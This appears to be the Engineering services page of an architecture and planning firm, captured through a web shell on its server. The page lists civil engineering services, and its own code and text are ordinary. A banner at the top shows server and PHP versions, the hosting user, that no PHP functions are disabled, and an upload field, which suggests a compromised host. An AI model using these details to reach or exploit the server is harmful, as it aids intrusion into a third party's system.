|
Server : Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 System : Linux server.jackjohnson.com 2.6.32-279.5.2.el6.x86_64 #1 SMP Fri Aug 24 01:07:11 UTC 2012 x86_64 User : jackjohn ( 502) PHP Version : 5.3.17 Disable Function : NONE Directory : /home/jackjohn/public_html/ |
Upload File : |
<!DOCTYPE html><html lang="en-US" class="nojs nores"><head>
<meta name="generator" content="ShopSite Manager 14.0 sp2 (data - CJ.sst)">
<meta name="referrer" content="no-referrer-when-downgrade">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0, minimum-scale=1.0, maximum-scale=1.0"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><meta name="web_author" content="Jack Johnson Custom by ShopSite, Inc."><meta name="HandheldFriendly" content="True"><meta property="og:type" content="website"><meta property="og:url" content="http://jackjohnson.com/engineering.html"><meta property="og:title" content="Our Services - Engineering"><title>Our Services - Engineering</title><link rel="canonical" href="http://jackjohnson.com/engineering.html"><link rel="stylesheet" type="text/css" href="http://jackjohnson.com/shopsite-images/en-US/backgrounds/entypo.css"><link rel="stylesheet" href="http://jackjohnson.com/publish/cjboot.min.css">
<style type="text/css">html, body {height: 100%}body {background-color: #F8F8F8}body,td{color:#111111}a{color:#066043}a:hover{color:#167959}.container {position: relative;margin-left: auto;margin-right: auto;padding-right: 15px;padding-left: 15px}@media (min-width: 768px) {.container {max-width: 100%}}@media (min-width: 992px) {.container {width: 960px; max-width: 100%}}@media (min-width: 1200px) {.container {width: 1200px;max-width: 100%}}div#cj-hn a{color:#FFFFFF}div#cj-hn a:hover{color:#F8F8F8}body.fillbrowser.navoverlayno div#cj-hnv, body.fillcontent.navoverlayno div#cj-hnv>div {background:#5A4B41}div#cj-nol {position: relative; background-color:#5A4B41;background-position: center; background-repeat: no-repeat; background-size: cover;color:#FFF}button#cj-sTog:before, button#cj-sTog:after, body.mobile button#cj-navTog:before, body.mobile button#cj-navTog:after {border-color: #555555}button#cj-sTog:hover:before, button#cj-sTog:hover:after, body.mobile button#cj-navTog:hover:before, body.mobile button#cj-navTog:hover:after {border-color: #066043}a#signinlink>span,div#user-links a>span,div#cj-wl>a>span,div#cj-hp>a>span,a#cj-mini>span.icon-shopping-cart,div#cj-fc>a>span,div#cj-fc>div>span{color: #555555}a#signinlink:hover>span,div#user-links a:hover>span,div#cj-wl>a:hover>span,div#cj-hp>a:hover>span,a#cj-mini:hover>span.icon-shopping-cart,div#cj-fc>a:hover>span,div#cj-fc>div>span:hover{color: #066043}div#cj-fc [class^="icon-"],div#cj-fc [class*=" icon-"]{color:#69BA39}div#cj-fc .social_follow{background:#69BA39}div#cj-fc .social_follow:hover{background:#69BA39}div#cj-h ul#ShopSite > li > a {font-family:'Oswald',Oswald,Arial Narrow,'HelveticaNeue-Light', 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', sans-serif}
h1, .h1, h2, .h2, h3, .h3, h4, .h4, h5, .h5, h6, .h6, .left_pagetitle, .right_pagetitle, .footer_pagetitle, #cj-storename {font-family: 'Oswald',Oswald,Arial Narrow, 'HelveticaNeue-Light', 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', sans-serif}body,td {letter-spacing:0.4px}
div#cj-h a {color: inherit}
div#cj-hac{background:#555555;color:#FFF;padding-top: 0.5em; padding-bottom: 0.5em}
div#cj-hin, div#cj-hnv, div#cj-hch {padding-top: 1.5em; padding-bottom: 1.5em}
body.navoverlayno div#cj-hin, body.navoverlayno div#cj-hnv, body.navoverlayno div#cj-hch {border-bottom: 1px solid #EEEEEE}
div#cj-hin {position: relative;z-index: 1}
div#cj-car{background:#555555;padding:4em 0px}
div#cj-car .card {background:#FFF;color:#5A4B41;overflow:hidden;margin-right:0px}
div#cj-cararr>a {font-size: 120%;display: inline-block;height:30px;width:30px;background: #EEEEEE;text-align: center;border-radius: 20px;line-height:30px;margin:0px 0px 5px 10px;text-decoration:none !important}
div#cj-cararr>a:hover{background:#8A6D3B}
div#cj-f {background:#F8F8F8;color:#066043}
div#cj-fc .social_follow {background: #066043}
div#cj-f a:hover {color: #5A4B41}
div#cj-nol div#cj-hl img {-webkit-filter:invert(1);filter:invert(1)}
span.onsaleflag {background:#167959}
html {height:100%;overflow:hidden;}
body {background: repeating-linear-gradient(45deg, #6d6033, #6d6033 2px, #5e5125 2px, #5e5125 4px);max-height:100%}
div#cj-m {position:static}
div#jj-header {height:26%;width:900px;max-width:96% !important}
div#jj-header > div {height:100%}
div#jj-header img {max-height:70%;}
div#jj-header div.nav-parent {width:180px;max-width:33%;filter: drop-shadow(0px 0px 6px rgba(0, 0, 0, 1))}
div#jj-header div.nav-parent a {position:relative;background: rgb(179,172,153);background: linear-gradient(90deg, rgba(179,172,153,1) 0%, rgba(230,227,221,1) 100%);display:block;line-height: 1.5em;font-family: "Oswald";color: #3f3e3c;font-size: 120%;text-transform: uppercase;padding: 0.25em 8px;margin-right: 6px;box-shadow:0px 0px 10px rgba(0,0,0,1);transition:all ease 0.5s;clip-path:polygon(0% 0%,0% 0%,95% 0%,100% 30%,100% 100%,0 100%,0 100%,0 100%);}
div#jj-header div.nav-parent a:hover {padding-bottom:20px}
div#jj-middle {width:100%;border-bottom:1px solid #a79f84;border-top:1px solid #a79f84}
div#jj-nav {position: relative;z-index: 1;bottom: -2px}
div#main-content {background:white;width:900px;max-width:96% !important;box-shadow:0px 0px 20px rgba(0,0,0,1);z-index:2}
div#main-content > div {width:100%;height:100%}
div#main-content > div:before {display:block; content:'';position:absolute;top:0px;height:100%;border-right:1px solid #a79f84}
div#main-content > div:after {display:block; content:'';position:relative;border-left:1px solid #a79f84;float:right}
div#jj-content {height: 100%;overflow:hidden;padding-bottom:40px;position:relative}
div#jj-middlecontent {height:100%}
div#designing {box-shadow:0px 0px 7px rgba(0,0,0,1);padding:0.5em 15px 0.6em 15px;text-align:left;text-transform:uppercase;font-family:"Oswald";background:#707007;color:#bc9a50;font-size:90%;text-shadow:0px 0px 3px rgba(0,0,0,1);position:relative;z-index:1}
div#jj-footer {box-shadow:0px 0px 7px rgba(0,0,0,1);text-align:right;position:absolute;bottom:0px;width:100%;display:block; padding:0.5em 15px 0.6em 15px;color:#c3c09a;text-shadow:0px 0px 3px rgba(0,0,0,1);background:#707007;font-family:"Oswald";text-transform:uppercase}
div#jj-footer a {color:inherit;padding-left:20px}
div#jj-footer a:hover {color:#bc9a50}
div#left-sideways > div {transform: rotate(270deg);position: absolute;bottom: 60px;font-size: 400%;line-height: 40px;white-space: nowrap;font-family: "Oswald";text-transform: uppercase;text-align: left;width: 10px;height: 10px;left: 20px;color: #be9c52;font-weight: bold}
div#jj-gradient {background: rgb(179,172,153);background: linear-gradient(90deg, rgba(255,255,255,0) 8px, rgba(0,0,0,0.5) 15px, rgba(179,172,153,1) 15px, #f7f4eb 30%);}
div#pg-img-ph {background: #887c70;height: 100px;margin-top: 15px}
h1 {color:#45342d;text-transform:uppercase;font-size:200%;margin-bottom: 0px;font-weight: bold;}
div#page-title {background: #e2ded1}
div#dark-text {height:100%; background:#b1a992;overflow:auto}
div#set-height {height:calc(100% - 147px)}
div#set-height div.col-md-8 {height:100%;max-height:100%;overflow:auto}
div#cj-min {padding:0px !important;min-height:100px !important}
h3 {font-size: 115%;text-transform: none;text-decoration: underline}
div#left-links span, div#left-links a {display: block;padding: 0.4em;font-family: "Oswald";font-size: 80%;text-transform: uppercase;background: #e2ded1;margin-bottom: 3px;color: #4f4935;transition:all ease 0.4s}
div#left-links span.active, div#left-links a.active, div#left-links a:hover {color:#aa8a4c;background:#4f4935}
h4 {margin-top: 30px;font-size: 106%;text-transform: none;margin-bottom: 5px}
div.jj-portfolio {width:25%;float:left}
div.jj-portfolio a:nth-child(2) {opacity:0.5;transition:all ease 0.5s;display: block;padding-top: 98%;width: 98%;background-repeat: no-repeat;background-position: center;background-size: 320px;line-height: 0px;margin-bottom:2%}
div.jj-portfolio:nth-child(4n+1) {clear:left !important}
div.jj-portfolio a:hover {opacity:1}
div#miinfo {background: #605d1a;box-shadow: 0px 0px 6px rgba(0,0,0,0.6)}
div#jj-sans-gradient > div {max-height:100%}
div#jj-sans-gradient > div > div {max-height:100%;overflow:auto}
</style>
<script type="text/javascript">function setCookie(t,e,r){var o=new Date;o.setTime(o.getTime()+24*r*60*60*1e3);var n="expires="+o.toUTCString();document.cookie=t+"="+e+";"+n+";path=/"}function getCookie(t){for(var e=t+"=",r=document.cookie.split(";"),o=0;o<r.length;o++){for(var n=r[o];" "==n.charAt(0);)n=n.substring(1);if(0==n.indexOf(e))return n.substring(e.length,n.length)}return""}function lsTest(){try{return localStorage.setItem("test","test"),localStorage.removeItem("test"),!0}catch(t){return!1}}</script>
<script type="text/javascript">if(lsTest() === true) {var cjns=localStorage.getItem('cjns');var cjnw=localStorage.getItem('cjnw');var cjnc=sessionStorage.getItem('cjnc');} else {var cjn=getCookie('cjn').split('|');var cjns=cjn[0];var cjnw=cjn[1];var cjnc=cjn[2];}</script>
<script type="text/javascript">escape=encodeURIComponent;unescape=decodeURIComponent;</script><script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script type="text/javascript">
var ss_jQuery = jQuery.noConflict(true);
</script>
</head>
<body class="fullwidth square uppercase fillbrowser bordersthin shadingsome navoverlayno desktop">
<script type="text/javascript">if (document.documentElement.clientWidth == cjnw) {document.getElementsByTagName("body")[0].classList.remove("desktop");document.getElementsByTagName("body")[0].classList.add(cjns);}
window_height = ss_jQuery(window).height();
ss_jQuery("body").prepend("<style type='text/css'>div#main-content > div:after{height:"+(window_height*2)+"px;top:-"+window_height+"px}</style>")
</script>
<div id="borders" class="d-flex flex-column align-items-center" style="height:100%">
<div id="jj-header" class=""><div class="d-flex justify-content-between align-items-end">
<div><a href="http://jackjohnson.com/index.html" class="d-block px-5 pb-3"><img src="http://jackjohnson.com/media/jack-johnson-company-logo.png" alt="Jack Johnson Company" class="img-fluid" style="max-height:100px"></a></div>
<div id="jj-nav" class="ml-auto d-flex align-items-end justify-content-end mr-2"><div class="nav-parent"><a href="http://jackjohnson.com/about.html">ABOUT</a></div><div class="nav-parent"><a href="http://jackjohnson.com/land-planning.html">Our Services</a></div><div class="nav-parent"><a href="http://jackjohnson.com/portfolio.html">Portfolio</a></div></div>
</div></div>
<div id="jj-middle" class="d-flex justify-content-center">
<div id="main-content" style="height:30px;width:30px"><div>
<div id="jj-content">
<div id="designing">Designing World Destinations</div>
<div id="jj-middlecontent" class="d-flex align-items-stretch">
<div id="left-sideways" class="d-none d-md-flex col-md-1"><div>Our Services</div></div><div id="jj-gradient" class="col-12 col-md-11">
<div class="d-flex align-items-stretch flex-column flex-md-row">
<div class="col-12 col-md-4"><div id="cj-pg" class="text-center"><img src="http://jackjohnson.com/media/engineering.png" alt="engineering"></div></div>
<div id="page-title" class="col-12 col-md-8 d-flex align-items-end"><h1 class="text-left">Engineering</h1></div>
</div>
<div id="set-height" class="pt-2 d-flex align-items-stretch flex-column flex-md-row">
<div id="left-links" class="col-12 col-md-4"><a href="http://jackjohnson.com/land-planning.html">Land Planning</a><a href="http://jackjohnson.com/architecture.html">Architecture</a><a href="http://jackjohnson.com/engineering.html" class="active">Engineering</a><a href="http://jackjohnson.com/surveying.html">Surveying</a><a href="http://jackjohnson.com/project-management.html">Project Management</a><a href="http://jackjohnson.com/business-plan-financial-analysis.html">Business Plan & Financial Analysis</a></div>
<div class="col-12 col-md-8 p-0"><div id="dark-text" class="p-3 text-left">
<div id="cj-m"><div id="cj-min" class="container">
<div class="text clearfix"><div><p>Civil engineering creates the circulatory system of any development. Whether routing vehicles, water, power or pedestrians, we specialize in smooth-flowing and sensible designs. Throughout the planning and development phase, we provide our clients with a sensible master plan, encompassing function with constructability and value.</p>
<h3>Our services include:</h3>
<ul>
<li>Engineering feasibility studies</li>
<li>Master utility plans</li>
<li>Roadway and circulation system design</li>
<li>Culinary, irrigation and fire protection water system design (including water treatment and storage)</li>
<li>Sanitary sewer and storm drainage system design (including sewer treatment and detention basin design)</li>
<li>Water rights research and identification</li>
<li>Water resources development (including well protection)</li>
<li>Hydrology studies</li>
<li>Civil improvement construction documents and civil improvement construction oversight and inspection</li>
</ul></div></div>
</div></div>
</div>
</div></div>
</div>
</div>
<div id="jj-footer"><a href="ftp://ftp.jackjohnson.com/" target="_blank" rel="noopener">Client Login</a><a href="http://jackjohnson.com/mapleton-village-approved.html">Press Room</a><a href="http://jackjohnson.com/careers.html">Careers</a><a href="http://jackjohnson.com/contact.html">Contact Us</a></div>
</div>
</div></div>
</div></div>
<div style="position: absolute; z-index:2000"><div id="cj-miniex"></div></div>
<link rel="stylesheet" type="text/css" href="//fonts.googleapis.com/css?family=Oswald|Roboto"><script src="//code.jquery.com/jquery-1.10.2.min.js"></script>
<script src="http://jackjohnson.com/shopsite-images/en-US/javascript/jquery/jquery.mobile.swipe.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/popper.js/1.11.0/umd/popper.min.js"></script>
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta/js/bootstrap.min.js"></script>
<script src="http://jackjohnson.com/publish/cj.js" type="text/javascript"></script>
<script type="text/javascript">$("html").removeClass("nojs")</script>
<script>ss_jQuery("#main-content").attr("style",["height:"+(window_height*0.6)+"px"])</script>
</body>
</html>